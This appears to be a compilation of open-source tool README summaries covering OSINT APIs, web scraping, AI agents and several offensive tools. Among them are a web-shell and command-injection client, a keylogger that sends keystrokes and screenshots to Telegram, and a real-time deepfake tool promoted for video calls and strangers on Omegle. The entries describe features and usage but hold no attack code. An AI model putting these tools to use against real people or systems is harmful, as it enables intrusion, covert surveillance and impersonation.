API-s-for-OSINT - List Of API's For Gathering Information About Phone Numbers, Addresses, Domains Etc

Thank you for following me! https://cybdetective.com

IOT/IP Search engines

Universal OSINT APIs

Phone Number Lookup and Verification

Address/ZIP codes lookup

People and documents verification

Business/Entity search

Domain/DNS/IP lookup

Mobile Apps Endpoints

Scraping

Whois

GEO IP

Wi-fi lookup

Network

Finance

Email

Names/Surnames

Pastebin/Leaks

Archives

Hashes decrypt/encrypt

Crypto

Malware

Face Search

## Face Detection

## Reverse Image Search

## AI Geolocation

Social Media and Messengers

UNOFFICIAL APIs

!WARNING Use with caution! Accounts may be blocked permanently for using unofficial APIs.

Search Engines

| Memex Marginalia | https://memex.marginalia.nu/projects/edge/api.gmi | An API for new privacy search engine | FREE |

News analyze

Darknet

Torrents/file sharing

Vulnerabilities

Flights

Webcams

## Regex

API testing tools

Curl converters (tools that help to write code using API queries)

Create your own API

Distribute your own API

API Keys Info

API directories

If you don't find what you need, try searching these directories.

How to learn how to work with REST API?

If you don't know how to work with the REST API, I recommend you check out the Netlas API guide I wrote for Netlas.io.

Netlas Cookbook

There it is very brief and accessible to write how to automate requests in different programming languages (focus on Python and Bash) and process the resulting JSON data.

Thank you for following me! https://cybdetective.com

Firecrawl-Mcp-Server - Official Firecrawl MCP Server - Adds Powerful Web Scraping To Cursor, Claude And Any Other LLM Clients

A Model Context Protocol (MCP) server implementation that integrates with Firecrawl for web scraping capabilities.

Big thanks to @vrknetha, @cawstudios for the initial implementation!

You can also play around with our MCP Server on MCP.so's playground. Thanks to MCP.so for hosting and @gstarwd for integrating our server.

Features

• Scrape, crawl, search, extract, deep research and batch scrape support
• Web scraping with JS rendering
• URL discovery and crawling
• Web search with content extraction
• Automatic retries with exponential backoff
• Efficient batch processing with built-in rate limiting
• Credit usage monitoring for cloud API
• Comprehensive logging system
• Support for cloud and self-hosted Firecrawl instances
• Mobile/Desktop viewport support
• Smart content filtering with tag inclusion/exclusion

Installation

Running with npx

env FIRECRAWL_API_KEY=fc-YOUR_API_KEY npx -y firecrawl-mcp

Manual Installation

npm install -g firecrawl-mcp

Running on Cursor

Configuring Cursor 🖥️ Note: Requires Cursor version 0.45.6+ For the most up-to-date configuration instructions, please refer to the official Cursor documentation on configuring MCP servers: Cursor MCP Server Configuration Guide

To configure Firecrawl MCP in Cursor v0.45.6

1. Open Cursor Settings
2. Go to Features > MCP Servers
3. Click "+ Add New MCP Server"
4. Enter the following:
5. Name: "firecrawl-mcp" (or your preferred name)
6. Type: "command"
7. Command: env FIRECRAWL_API_KEY=your-api-key npx -y firecrawl-mcp

To configure Firecrawl MCP in Cursor v0.48.6

1. Open Cursor Settings
2. Go to Features > MCP Servers
3. Click "+ Add new global MCP server"
4. Enter the following code: json { "mcpServers": { "firecrawl-mcp": { "command": "npx", "args": ["-y", "firecrawl-mcp"], "env": { "FIRECRAWL_API_KEY": "YOUR-API-KEY" } } } }

If you are using Windows and are running into issues, try cmd /c "set FIRECRAWL_API_KEY=your-api-key && npx -y firecrawl-mcp"

Replace your-api-key with your Firecrawl API key. If you don't have one yet, you can create an account and get it from https://www.firecrawl.dev/app/api-keys

After adding, refresh the MCP server list to see the new tools. The Composer Agent will automatically use Firecrawl MCP when appropriate, but you can explicitly request it by describing your web scraping needs. Access the Composer via Command+L (Mac), select "Agent" next to the submit button, and enter your query.

Running on Windsurf

Add this to your ./codeium/windsurf/model_config.json:

{
  "mcpServers": {
    "mcp-server-firecrawl": {
      "command": "npx",
      "args": ["-y", "firecrawl-mcp"],
      "env": {
        "FIRECRAWL_API_KEY": "YOUR_API_KEY"
      }
    }
  }
}

Installing via Smithery (Legacy)

To install Firecrawl for Claude Desktop automatically via Smithery:

npx -y @smithery/cli install @mendableai/mcp-server-firecrawl --client claude

Configuration

Environment Variables

Required for Cloud API

• FIRECRAWL_API_KEY: Your Firecrawl API key
• Required when using cloud API (default)
• Optional when using self-hosted instance with FIRECRAWL_API_URL
• FIRECRAWL_API_URL (Optional): Custom API endpoint for self-hosted instances
• Example: https://firecrawl.your-domain.com
• If not provided, the cloud API will be used (requires API key)

Optional Configuration

Retry Configuration

• FIRECRAWL_RETRY_MAX_ATTEMPTS: Maximum number of retry attempts (default: 3)
• FIRECRAWL_RETRY_INITIAL_DELAY: Initial delay in milliseconds before first retry (default: 1000)
• FIRECRAWL_RETRY_MAX_DELAY: Maximum delay in milliseconds between retries (default: 10000)
• FIRECRAWL_RETRY_BACKOFF_FACTOR: Exponential backoff multiplier (default: 2)

Credit Usage Monitoring

• FIRECRAWL_CREDIT_WARNING_THRESHOLD: Credit usage warning threshold (default: 1000)
• FIRECRAWL_CREDIT_CRITICAL_THRESHOLD: Credit usage critical threshold (default: 100)

Configuration Examples

For cloud API usage with custom retry and credit monitoring:

# Required for cloud API
export FIRECRAWL_API_KEY=your-api-key

# Optional retry configuration
export FIRECRAWL_RETRY_MAX_ATTEMPTS=5        # Increase max retry attempts
export FIRECRAWL_RETRY_INITIAL_DELAY=2000    # Start with 2s delay
export FIRECRAWL_RETRY_MAX_DELAY=30000       # Maximum 30s delay
export FIRECRAWL_RETRY_BACKOFF_FACTOR=3      # More aggressive backoff

# Optional credit monitoring
export FIRECRAWL_CREDIT_WARNING_THRESHOLD=2000    # Warning at 2000 credits
export FIRECRAWL_CREDIT_CRITICAL_THRESHOLD=500    # Critical at 500 credits

For self-hosted instance:

# Required for self-hosted
export FIRECRAWL_API_URL=https://firecrawl.your-domain.com

# Optional authentication for self-hosted
export FIRECRAWL_API_KEY=your-api-key  # If your instance requires auth

# Custom retry configuration
export FIRECRAWL_RETRY_MAX_ATTEMPTS=10
export FIRECRAWL_RETRY_INITIAL_DELAY=500     # Start with faster retries

Usage with Claude Desktop

Add this to your claude_desktop_config.json:

{
  "mcpServers": {
    "mcp-server-firecrawl": {
      "command": "npx",
      "args": ["-y", "firecrawl-mcp"],
      "env": {
        "FIRECRAWL_API_KEY": "YOUR_API_KEY_HERE",

        "FIRECRAWL_RETRY_MAX_ATTEMPTS": "5",
        "FIRECRAWL_RETRY_INITIAL_DELAY": "2000",
        "FIRECRAWL_RETRY_MAX_DELAY": "30000",
        "FIRECRAWL_RETRY_BACKOFF_FACTOR": "3",

        "FIRECRAWL_CREDIT_WARNING_THRESHOLD": "2000",
        "FIRECRAWL_CREDIT_CRITICAL_THRESHOLD": "500"
      }
    }
  }
}

System Configuration

The server includes several configurable parameters that can be set via environment variables. Here are the default values if not configured:

const CONFIG = {
  retry: {
    maxAttempts: 3, // Number of retry attempts for rate-limited requests
    initialDelay: 1000, // Initial delay before first retry (in milliseconds)
    maxDelay: 10000, // Maximum delay between retries (in milliseconds)
    backoffFactor: 2, // Multiplier for exponential backoff
  },
  credit: {
    warningThreshold: 1000, // Warn when credit usage reaches this level
    criticalThreshold: 100, // Critical alert when credit usage reaches this level
  },
};

These configurations control:

1. Retry Behavior

2. Automatically retries failed requests due to rate limits

3. Uses exponential backoff to avoid overwhelming the API

4. Example: With default settings, retries will be attempted at:

   • 1st retry: 1 second delay
   • 2nd retry: 2 seconds delay
   • 3rd retry: 4 seconds delay (capped at maxDelay)

5. Credit Usage Monitoring

6. Tracks API credit consumption for cloud API usage
7. Provides warnings at specified thresholds
8. Helps prevent unexpected service interruption
9. Example: With default settings:
   • Warning at 1000 credits remaining
   • Critical alert at 100 credits remaining

Rate Limiting and Batch Processing

The server utilizes Firecrawl's built-in rate limiting and batch processing capabilities:

• Automatic rate limit handling with exponential backoff
• Efficient parallel processing for batch operations
• Smart request queuing and throttling
• Automatic retries for transient errors

Available Tools

1. Scrape Tool (firecrawl_scrape)

Scrape content from a single URL with advanced options.

{
  "name": "firecrawl_scrape",
  "arguments": {
    "url": "https://example.com",
    "formats": ["markdown"],
    "onlyMainContent": true,
    "waitFor": 1000,
    "timeout": 30000,
    "mobile": false,
    "includeTags": ["article", "main"],
    "excludeTags": ["nav", "footer"],
    "skipTlsVerification": false
  }
}

2. Batch Scrape Tool (firecrawl_batch_scrape)

Scrape multiple URLs efficiently with built-in rate limiting and parallel processing.

{
  "name": "firecrawl_batch_scrape",
  "arguments": {
    "urls": ["https://example1.com", "https://example2.com"],
    "options": {
      "formats": ["markdown"],
      "onlyMainContent": true
    }
  }
}

Response includes operation ID for status checking:

{
  "content": [
    {
      "type": "text",
      "text": "Batch operation queued with ID: batch_1. Use firecrawl_check_batch_status to check progress."
    }
  ],
  "isError": false
}

3. Check Batch Status (firecrawl_check_batch_status)

Check the status of a batch operation.

{
  "name": "firecrawl_check_batch_status",
  "arguments": {
    "id": "batch_1"
  }
}

4. Search Tool (firecrawl_search)

Search the web and optionally extract content from search results.

{
  "name": "firecrawl_search",
  "arguments": {
    "query": "your search query",
    "limit": 5,
    "lang": "en",
    "country": "us",
    "scrapeOptions": {
      "formats": ["markdown"],
      "onlyMainContent": true
    }
  }
}

5. Crawl Tool (firecrawl_crawl)

Start an asynchronous crawl with advanced options.

{
  "name": "firecrawl_crawl",
  "arguments": {
    "url": "https://example.com",
    "maxDepth": 2,
    "limit": 100,
    "allowExternalLinks": false,
    "deduplicateSimilarURLs": true
  }
}

6. Extract Tool (firecrawl_extract)

Extract structured information from web pages using LLM capabilities. Supports both cloud AI and self-hosted LLM extraction.

{
  "name": "firecrawl_extract",
  "arguments": {
    "urls": ["https://example.com/page1", "https://example.com/page2"],
    "prompt": "Extract product information including name, price, and description",
    "systemPrompt": "You are a helpful assistant that extracts product information",
    "schema": {
      "type": "object",
      "properties": {
        "name": { "type": "string" },
        "price": { "type": "number" },
        "description": { "type": "string" }
      },
      "required": ["name", "price"]
    },
    "allowExternalLinks": false,
    "enableWebSearch": false,
    "includeSubdomains": false
  }
}

Example response:

{
  "content": [
    {
      "type": "text",
      "text": {
        "name": "Example Product",
        "price": 99.99,
        "description": "This is an example product description"
      }
    }
  ],
  "isError": false
}

Extract Tool Options:

• urls: Array of URLs to extract information from
• prompt: Custom prompt for the LLM extraction
• systemPrompt: System prompt to guide the LLM
• schema: JSON schema for structured data extraction
• allowExternalLinks: Allow extraction from external links
• enableWebSearch: Enable web search for additional context
• includeSubdomains: Include subdomains in extraction

When using a self-hosted instance, the extraction will use your configured LLM. For cloud API, it uses Firecrawl's managed LLM service.

7. Deep Research Tool (firecrawl_deep_research)

Conduct deep web research on a query using intelligent crawling, search, and LLM analysis.

{
  "name": "firecrawl_deep_research",
  "arguments": {
    "query": "how does carbon capture technology work?",
    "maxDepth": 3,
    "timeLimit": 120,
    "maxUrls": 50
  }
}

Arguments:

• query (string, required): The research question or topic to explore.
• maxDepth (number, optional): Maximum recursive depth for crawling/search (default: 3).
• timeLimit (number, optional): Time limit in seconds for the research session (default: 120).
• maxUrls (number, optional): Maximum number of URLs to analyze (default: 50).

Returns:

• Final analysis generated by an LLM based on research. (data.finalAnalysis)
• May also include structured activities and sources used in the research process.

8. Generate LLMs.txt Tool (firecrawl_generate_llmstxt)

Generate a standardized llms.txt (and optionally llms-full.txt) file for a given domain. This file defines how large language models should interact with the site.

{
  "name": "firecrawl_generate_llmstxt",
  "arguments": {
    "url": "https://example.com",
    "maxUrls": 20,
    "showFullText": true
  }
}

Arguments:

• url (string, required): The base URL of the website to analyze.
• maxUrls (number, optional): Max number of URLs to include (default: 10).
• showFullText (boolean, optional): Whether to include llms-full.txt contents in the response.

Returns:

• Generated llms.txt file contents and optionally the llms-full.txt (data.llmstxt and/or data.llmsfulltxt)

Logging System

The server includes comprehensive logging:

• Operation status and progress
• Performance metrics
• Credit usage monitoring
• Rate limit tracking
• Error conditions

Example log messages:

[INFO] Firecrawl MCP Server initialized successfully
[INFO] Starting scrape for URL: https://example.com
[INFO] Batch operation queued with ID: batch_1
[WARNING] Credit usage has reached warning threshold
[ERROR] Rate limit exceeded, retrying in 2s...

Error Handling

The server provides robust error handling:

• Automatic retries for transient errors
• Rate limit handling with backoff
• Detailed error messages
• Credit usage warnings
• Network resilience

Example error response:

{
  "content": [
    {
      "type": "text",
      "text": "Error: Rate limit exceeded. Retrying in 2 seconds..."
    }
  ],
  "isError": true
}

Development

# Install dependencies
npm install

# Build
npm run build

# Run tests
npm test

Contributing

1. Fork the repository
2. Create your feature branch
3. Run tests: npm test
4. Submit a pull request

License

MIT License - see LICENSE file for details

Deep-Live-Cam - Real Time Face Swap And One-Click Video Deepfake With Only A Single Image

Real-time face swap and video deepfake with a single click and only a single image.

Disclaimer

This deepfake software is designed to be a productive tool for the AI-generated media industry. It can assist artists in animating custom characters, creating engaging content, and even using models for clothing design.

We are aware of the potential for unethical applications and are committed to preventative measures. A built-in check prevents the program from processing inappropriate media (nudity, graphic content, sensitive material like war footage, etc.). We will continue to develop this project responsibly, adhering to the law and ethics. We may shut down the project or add watermarks if legally required.

• Ethical Use: Users are expected to use this software responsibly and legally. If using a real person's face, obtain their consent and clearly label any output as a deepfake when sharing online.

• Content Restrictions: The software includes built-in checks to prevent processing inappropriate media, such as nudity, graphic content, or sensitive material.

• Legal Compliance: We adhere to all relevant laws and ethical guidelines. If legally required, we may shut down the project or add watermarks to the output.

• User Responsibility: We are not responsible for end-user actions. Users must ensure their use of the software aligns with ethical standards and legal requirements.

By using this software, you agree to these terms and commit to using it in a manner that respects the rights and dignity of others.

Users are expected to use this software responsibly and legally. If using a real person's face, obtain their consent and clearly label any output as a deepfake when sharing online. We are not responsible for end-user actions.

TLDR; Live Deepfake in just 3 Clicks

1. Select a face 2. Select which camera to use 3. Press live!

Features & Uses - Everything is in real-time

Mouth Mask

Retain your original mouth for accurate movement using Mouth Mask

Face Mapping

Use different faces on multiple subjects simultaneously

Your Movie, Your Face

Watch movies with any face in real-time

Live Show

Run Live shows and performances

Memes

Create Your Most Viral Meme Yet

_{Created using Many Faces feature in Deep-Live-Cam}

Omegle

Surprise people on Omegle

Installation (Manual)

Please be aware that the installation requires technical skills and is not for beginners. Consider downloading the prebuilt version.

git clone https://github.com/hacksider/Deep-Live-Cam.git
cd Deep-Live-Cam

python -m venv venv
venv\Scripts\activate
pip install -r requirements.txt

# Install Python 3.10 (specific version is important)
brew install python@3.10

# Install tkinter package (required for the GUI)
brew install python-tk@3.10

# Create and activate virtual environment with Python 3.10
python3.10 -m venv venv
source venv/bin/activate

# Install dependencies
pip install -r requirements.txt

# Deactivate the virtual environment
rm -rf venv

# Reinstall the virtual environment
python -m venv venv
source venv/bin/activate

# install the dependencies again
pip install -r requirements.txt

pip uninstall onnxruntime onnxruntime-gpu
pip install onnxruntime-gpu==1.16.3

python run.py --execution-provider cuda

pip uninstall onnxruntime onnxruntime-silicon
pip install onnxruntime-silicon==1.13.1

python3.10 run.py --execution-provider coreml

pip uninstall onnxruntime onnxruntime-coreml
pip install onnxruntime-coreml==1.13.1

python run.py --execution-provider coreml

pip uninstall onnxruntime onnxruntime-directml
pip install onnxruntime-directml==1.15.1

python run.py --execution-provider directml

pip uninstall onnxruntime onnxruntime-openvino
pip install onnxruntime-openvino==1.15.0

python run.py --execution-provider openvino

Usage

1. Image/Video Mode

• Execute python run.py.
• Choose a source face image and a target image/video.
• Click "Start".
• The output will be saved in a directory named after the target video.

2. Webcam Mode

• Execute python run.py.
• Select a source face image.
• Click "Live".
• Wait for the preview to appear (10-30 seconds).
• Use a screen capture tool like OBS to stream.
• To change the face, select a new source image.

Tips and Tricks

Check out these helpful guides to get the most out of Deep-Live-Cam:

• Unlocking the Secrets to the Perfect Deepfake Image - Learn how to create the best deepfake with full head coverage
• Video Call with DeepLiveCam - Make your meetings livelier by using DeepLiveCam with OBS and meeting software
• Have a Special Guest! - Tutorial on how to use face mapping to add special guests to your stream
• Watch Deepfake Movies in Realtime - See yourself star in any video without processing the video
• Better Quality without Sacrificing Speed - Tips for achieving better results without impacting performance
• Instant Vtuber! - Create a new persona/vtuber easily using Metahuman Creator

Visit our official blog for more tips and tutorials.

Command Line Arguments (Unmaintained)

options:
  -h, --help                                               show this help message and exit
  -s SOURCE_PATH, --source SOURCE_PATH                     select a source image
  -t TARGET_PATH, --target TARGET_PATH                     select a target image or video
  -o OUTPUT_PATH, --output OUTPUT_PATH                     select output file or directory
  --frame-processor FRAME_PROCESSOR [FRAME_PROCESSOR ...]  frame processors (choices: face_swapper, face_enhancer, ...)
  --keep-fps                                               keep original fps
  --keep-audio                                             keep original audio
  --keep-frames                                            keep temporary frames
  --many-faces                                             process every face
  --map-faces                                              map source target faces
  --mouth-mask                                             mask the mouth region
  --video-encoder {libx264,libx265,libvpx-vp9}             adjust output video encoder
  --video-quality [0-51]                                   adjust output video quality
  --live-mirror                                            the live camera display as you see it in the front-facing camera frame
  --live-resizable                                         the live camera frame is resizable
  --max-memory MAX_MEMORY                                  maximum amount of RAM in GB
  --execution-provider {cpu} [{cpu} ...]                   available execution provider (choices: cpu, ...)
  --execution-threads EXECUTION_THREADS                    number of execution threads
  -v, --version                                            show program's version number and exit

Looking for a CLI mode? Using the -s/--source argument will make the run program in cli mode.

Press

We are always open to criticism and are ready to improve, that's why we didn't cherry-pick anything.

• "Deep-Live-Cam goes viral, allowing anyone to become a digital doppelganger" - Ars Technica
• "Thanks Deep Live Cam, shapeshifters are among us now" - Dataconomy
• "This free AI tool lets you become anyone during video-calls" - NewsBytes
• "OK, this viral AI live stream software is truly terrifying" - Creative Bloq
• "Deepfake AI Tool Lets You Become Anyone in a Video Call With Single Photo" - PetaPixel
• "Deep-Live-Cam Uses AI to Transform Your Face in Real-Time, Celebrities Included" - TechEBlog
• "An AI tool that "makes you look like anyone" during a video call is going viral online" - Telegrafi
• "This Deepfake Tool Turning Images Into Livestreams is Topping the GitHub Charts" - Emerge
• "New Real-Time Face-Swapping AI Allows Anyone to Mimic Famous Faces" - Digital Music News
• "This real-time webcam deepfake tool raises alarms about the future of identity theft" - DIYPhotography
• "That's Crazy, Oh God. That's Fucking Freaky Dude... That's So Wild Dude" - SomeOrdinaryGamers
• "Alright look look look, now look chat, we can do any face we want to look like chat" - IShowSpeed

Credits

• ffmpeg: for making video-related operations easy
• deepinsight: for their insightface project which provided a well-made library and models. Please be reminded that the use of the model is for non-commercial research purposes only.
• havok2-htwo: for sharing the code for webcam
• GosuDRM: for the open version of roop
• pereiraroland26: Multiple faces support
• vic4key: For supporting/contributing to this project
• kier007: for improving the user experience
• qitianai: for multi-lingual support
• and all developers behind libraries used in this project.
• Footnote: Please be informed that the base author of the code is s0md3v
• All the wonderful users who helped make this project go viral by starring the repo ❤️

Contributions

Stars to the Moon 🚀

CAMEL - The First And The Best Multi-Agent Framework. Finding The Scaling Law Of Agents

CAMEL Framework Design Principles

🧬 Evolvability

📈 Scalability

The framework is designed to support systems with millions of agents, ensuring efficient coordination, communication, and resource management at scale.

💾 Statefulness

Agents maintain stateful memory, enabling them to perform multi-step interactions with environments and efficiently tackle sophisticated tasks.

📖 Code-as-Prompt

Every line of code and comment serves as a prompt for agents. Code should be written clearly and readably, ensuring both humans and agents can interpret it effectively.

Why Use CAMEL for Your Research?

We are a community-driven research collective comprising over 100 researchers dedicated to advancing frontier research in Multi-Agent Systems. Researchers worldwide choose CAMEL for their studies based on the following reasons.

What Can You Build With CAMEL?

1. Data Generation

2. Task Automation

3. World Simulation

Quick Start

Installing CAMEL is a breeze thanks to its availability on PyPI. Simply open your terminal and run:

pip install camel-ai

Starting with ChatAgent

This example demonstrates how to create a ChatAgent using the CAMEL framework and perform a search query using DuckDuckGo.

1. Install the tools package:

bash pip install 'camel-ai[web_tools]'

1. Set up your OpenAI API key:

bash export OPENAI_API_KEY='your_openai_api_key'

1. Run the following Python code:

```python from camel.models import ModelFactory from camel.types import ModelPlatformType, ModelType from camel.agents import ChatAgent from camel.toolkits import SearchToolkit

model = ModelFactory.create( model_platform=ModelPlatformType.OPENAI, model_type=ModelType.GPT_4O, model_config_dict={"temperature": 0.0}, )

search_tool = SearchToolkit().search_duckduckgo

agent = ChatAgent(model=model, tools=[search_tool])

response_1 = agent.step("What is CAMEL-AI?") print(response_1.msgs[0].content) # CAMEL-AI is the first LLM (Large Language Model) multi-agent framework # and an open-source community focused on finding the scaling laws of agents. # ...

response_2 = agent.step("What is the Github link to CAMEL framework?") print(response_2.msgs[0].content) # The GitHub link to the CAMEL framework is # https://github.com/camel-ai/camel. ```

For more detailed instructions and additional configuration options, check out the installation section.

After running, you can explore our CAMEL Tech Stack and Cookbooks at docs.camel-ai.org to build powerful multi-agent systems.

We provide a demo showcasing a conversation between two ChatGPT agents playing roles as a python programmer and a stock trader collaborating on developing a trading bot for stock market.

Explore different types of agents, their roles, and their applications.

• Creating Your First Agent
• Creating Your First Agent Society
• Embodied Agents
• Critic Agents

Seeking Help

Please reach out to us on CAMEL discord if you encounter any issue set up CAMEL.

Tech Stack

Key Modules

Core components and utilities to build, operate, and enhance CAMEL-AI agents and societies.

Research

We believe that studying these agents on a large scale offers valuable insights into their behaviors, capabilities, and potential risks.

Explore our research projects:

Research with US

We warmly invite you to use CAMEL for your impactful research.

Rigorous research takes time and resources. We are a community-driven research collective with 100+ researchers exploring the frontier research of Multi-agent Systems. Join our ongoing projects or test new ideas with us, reach out via email for more information.

Synthetic Datasets

1. Utilize Various LLMs as Backends

For more details, please see our Models Documentation.

Data (Hosted on Hugging Face)

2. Visualizations of Instructions and Tasks

Cookbooks (Usecases)

Practical guides and tutorials for implementing specific functionalities in CAMEL-AI agents and societies.

1. Basic Concepts

2. Advanced Features

3. Model Training & Data Generation

4. Multi-Agent Systems & Applications

5. Data Processing

Contributing to CAMEL

For those who'd like to contribute code, we appreciate your interest in contributing to our open-source initiative. Please take a moment to review our contributing guidelines to get started on a smooth collaboration journey.🚀

We also welcome you to help CAMEL grow by sharing it on social media, at events, or during conferences. Your support makes a big difference!

Community & Contact

For more information please contact camel-ai@eigent.ai

• GitHub Issues: Report bugs, request features, and track development. Submit an issue

• Discord: Get real-time support, chat with the community, and stay updated. Join us

• X (Twitter): Follow for updates, AI insights, and key announcements. Follow us

• Ambassador Project: Advocate for CAMEL-AI, host events, and contribute content. Learn more

Citation

@inproceedings{li2023camel,
  title={CAMEL: Communicative Agents for "Mind" Exploration of Large Language Model Society},
  author={Li, Guohao and Hammoud, Hasan Abed Al Kader and Itani, Hani and Khizbullin, Dmitrii and Ghanem, Bernard},
  booktitle={Thirty-seventh Conference on Neural Information Processing Systems},
  year={2023}
}

Acknowledgment

Special thanks to Nomic AI for giving us extended access to their data set exploration tool (Atlas).

We would also like to thank Haya Hammoud for designing the initial logo of our project.

We implemented amazing research ideas from other works for you to build, compare and customize your agents. If you use any of these modules, please kindly cite the original works: - TaskCreationAgent, TaskPrioritizationAgent and BabyAGI from Nakajima et al.: Task-Driven Autonomous Agent. [Example]

• PersonaHub from Tao Ge et al.: Scaling Synthetic Data Creation with 1,000,000,000 Personas. [Example]

• Self-Instruct from Yizhong Wang et al.: SELF-INSTRUCT: Aligning Language Models with Self-Generated Instructions. [Example]

License

The source code is licensed under Apache 2.0.

Liam - Automatically Generates Beautiful And Easy-To-Read ER Diagrams From Your Database

Automatically generates beautiful and easy-to-read ER diagrams from your database.

Website • Documentation • Roadmap

What's Liam ERD?

Liam ERD generates beautiful, interactive ER diagrams from your database. Whether you're working on public or private repositories, Liam ERD helps you visualize complex schemas with ease.

• Beautiful UI & Interactive: A clean design and intuitive features (like panning, zooming, and filtering) make it easy to understand even the most complex databases.
• Simple Reverse Engineering: Seamlessly turn your existing database schemas into clear, readable diagrams.
• Effortless Setup: Get started with zero configuration—just provide your schema, and you're good to go.
• High Performance: Optimized for both small and large projects, easily handling 100+ tables.
• Fully Open-Source: Contribute to the project and shape Liam ERD to fit your needs.

Quick Start

For Public Repositories

Insert liambx.com/erd/p/ into your schema file's URL:

# Original: https://github.com/user/repo/blob/master/db/schema.rb
# Modified: https://liambx.com/erd/p/github.com/user/repo/blob/master/db/schema.rb
                  👾^^^^^^^^^^^^^^^^👾

For Private Repositories

Run the interactive setup:

npx @liam-hq/cli init

If you find this project helpful, please give it a star! ⭐
Your support helps us reach a wider audience and continue development.

Documentation

Check out the full documentation on the website.

Roadmap

See what we're working on and what's coming next on our roadmap.

SubGPT - Find Subdomains With GPT, For Free

SubGPT looks at subdomains you have already discovered for a domain and uses BingGPT to find more. Best part? It's free!

The following subdomains were found by this tool with these 30 subdomains as input.

call-prompts-staging.example.com
dclb02-dca1.prod.example.com
activedirectory-sjc1.example.com
iadm-staging.example.com
elevatenetwork-c.example.com

If you like my work, you can support me with as little as $1, here :)

Install & Configuration

Installation

• with pip (recommended): pip install subgpt
• from github: git clone https://github.com/s0md3v/SubGPT && cd SubGPT && python setup.py install

Getting Bing Cookie

1. Install the cookie editor extension (Chrome, Firefox)
2. Visit bing.com, make sure you are logged in.
3. Open the extension and copy your cookie using the "export" button
4. Paste it in a file e.g. cookies.json
5. All set!

Note: Any issues regarding BingGPT itself should be reported EdgeGPT, not here.

Using SubGPT

It is supposed to be used after you have discovered some subdomains using all other methods. The standard way to run SubGPT is as follows:

subgpt -i input.txt -o output.txt -c /path/to/cookies.json

If you don't specify an output file, the output will be shown in your terminal (stdout) instead.

To generate subdomains and not resolve them, use the --dont-resolve option. It's a great way to see all subdomains generated by SubGPT and/or use your own resolver on them.

Important

1. Make sure your subdomains list only has subdomains from one domain. Each line in your file should contain one subdomain and nothing else.
2. Sometimes your cookie will expire if you visit bing.com often. In that case, just export and save it again.
3. SubGPT looks at A/CNAME records to determine whether a subdomain exists. It can also detect wildcard on first-level subdomains and handle it automatically. You can go through the code to see how its implemented if it concerns you.
4. It can't replace traditional sub-generators like gotator, alterx, dnsgen etc. However, being powered by AI helps it to generate subdomains that these traditional tools can't.
5. It is slow for obvious reasons. It takes like 45 seconds for every 80 subdomains.
6. It is subject to Bing's daily limit. Selectively run this tool, don't run it blindly.

Uro - Declutters Url Lists For Crawling/Pentesting

Using a URL list for security testing can be painful as there are a lot of URLs that have uninteresting/duplicate content; uro aims to solve that.

It doesn't make any http requests to the URLs and removes: - incremental urls e.g. /page/1/ and /page/2/ - blog posts and similar human written content e.g. /posts/a-brief-history-of-time - urls with same path but parameter value difference e.g. /page.php?id=1 and /page.php?id=2 - images, js, css and other "useless" files

Installation

The recommended way to install uro is as follows:

pipx install uro

Note: If you are using an older version of python, use pip instead of pipx

Basic Usage

The quickest way to include uro in your workflow is to feed it data through stdin and print it to your terminal.

cat urls.txt | uro

Advanced usage

Reading urls from a file (-i/--input)

uro -i input.txt

Writing urls to a file (-o/--output)

If the file already exists, uro will not overwrite the contents. Otherwise, it will create a new file.

uro -i input.txt -o output.txt

Whitelist (-w/--whitelist)

uro will ignore all other extensions except the ones provided.

uro -w php asp html

Note: Extensionless pages e.g. /books/1 will still be included. To remove them too, use --filter hasext.

Blacklist (-b/--blacklist)

uro will ignore the given extensions.

uro -b jpg png js pdf

Note: uro has a list of "useless" extensions which it removes by default; that list will be overridden by whatever extensions you provide through blacklist option. Extensionless pages e.g. /books/1 will still be included. To remove them too, use --filter hasext.

Filters (-f/--filters)

For granular control, uro supports the following filters:

1. hasparams: only output urls that have query parameters e.g. http://example.com/page.php?id=
2. noparams: only output urls that have no query parameters e.g. http://example.com/page.php
3. hasext: only output urls that have extensions e.g. http://example.com/page.php
4. noext: only output urls that have no extensions e.g. http://example.com/page
5. allexts: don't remove any page based on extension e.g. keep .jpg which would be removed otherwise
6. keepcontent: keep human written content e.g. blogs.
7. keepslash: don't remove trailing slash from urls e.g. http://example.com/page/
8. vuln: only output urls with parameters that are know to be vulnerable. More info.

Example: uro --filters hasexts hasparams

Wshlient - A Simple Tool To Interact With Web Shells And Command Injection Vulnerabilities

Web Shell Client

Description & Demo

Wshlient is a web shell client designed to be pretty simple yet versatile. One just need to create a text file containing an HTTP request and inform where Wshlient inject the commands, then you can enjoy a shell.

In the case the above video does not works for you:

Installation

Out of python's included batteries Wshclient only uses requests. Just install it directly or using requirements.txt:

$ git clone https://github.com/gildasio/wshlient
$ cd wshlient
$ pip install -r requirements.txt
$ ./wshlient.py -h

Alternatively you can also create a symbolic link in your $PATH to use it directly anywhere in the system:

$ ln -s $PWD/wshlient.py /usr/local/bin/wshlient

Usage

$ ./wshlient.py -h
usage: wshlient.py [-h] [-d] [-i] [-ne] [-it INJECTION_TOKEN] [-st START_TOKEN] [-et END_TOKEN] req

positional arguments:
  req                   File containing raw http request

options:
  -h, --help            show this help message and exit
  -d, --debug           Enable debug output
  -i, --ifs             Replaces whitespaces with $IFS
  -ne, --no-url-encode  Disable command URL encode
  -it INJECTION_TOKEN, --injection-token INJECTION_TOKEN
                        Token to be replaced by commands (default: INJECT)
  -st START_TOKEN, --start-token START_TOKEN
                        Token that marks the output beginning
  -et END_TOKEN, --end-token END_TOKEN
                        Token that marks the output ending

Contributing

You can contribute to Wshlient by:

• Using and sharing it :)
• Firing a bug / issue
• Suggesting interesting features
• Coding

Feel free to do it, but keep in mind to keep it simple.

Pulsegram - Integrated Keylogger With Telegram

PulseGram is a keylogger integrated with a Telegram bot. It is a monitoring tool that captures keystrokes, clipboard content, and screenshots, sending all the information to a configured Telegram bot. It is designed for use in adversary simulations and security testing contexts.

⚠️ Warning: This project is for educational purposes and security testing in authorized environments only. Unauthorized use of this tool may be illegal and is prohibited.

  _____       _           _____                     
 |  __ \     | |         / ____|                    
 | |__) |   _| |___  ___| |  __ _ __ __ _ _ __ ___  
 |  ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \ 
 | |   | |_| | \__ \  __/ |__| | | | (_| | | | | | |
 |_|    \__,_|_|___/\___|\_____|_|  \__,_|_| |_| |_|

                 Author: Omar Salazar
                 Version: V.1.0

Features

• Keystroke capture: Records keystrokes and sends them to the Telegram bot.
• Clipboard monitoring: Sends the copied clipboard content in real-time.
• Periodic screenshots: Takes screenshots and sends them to the bot.
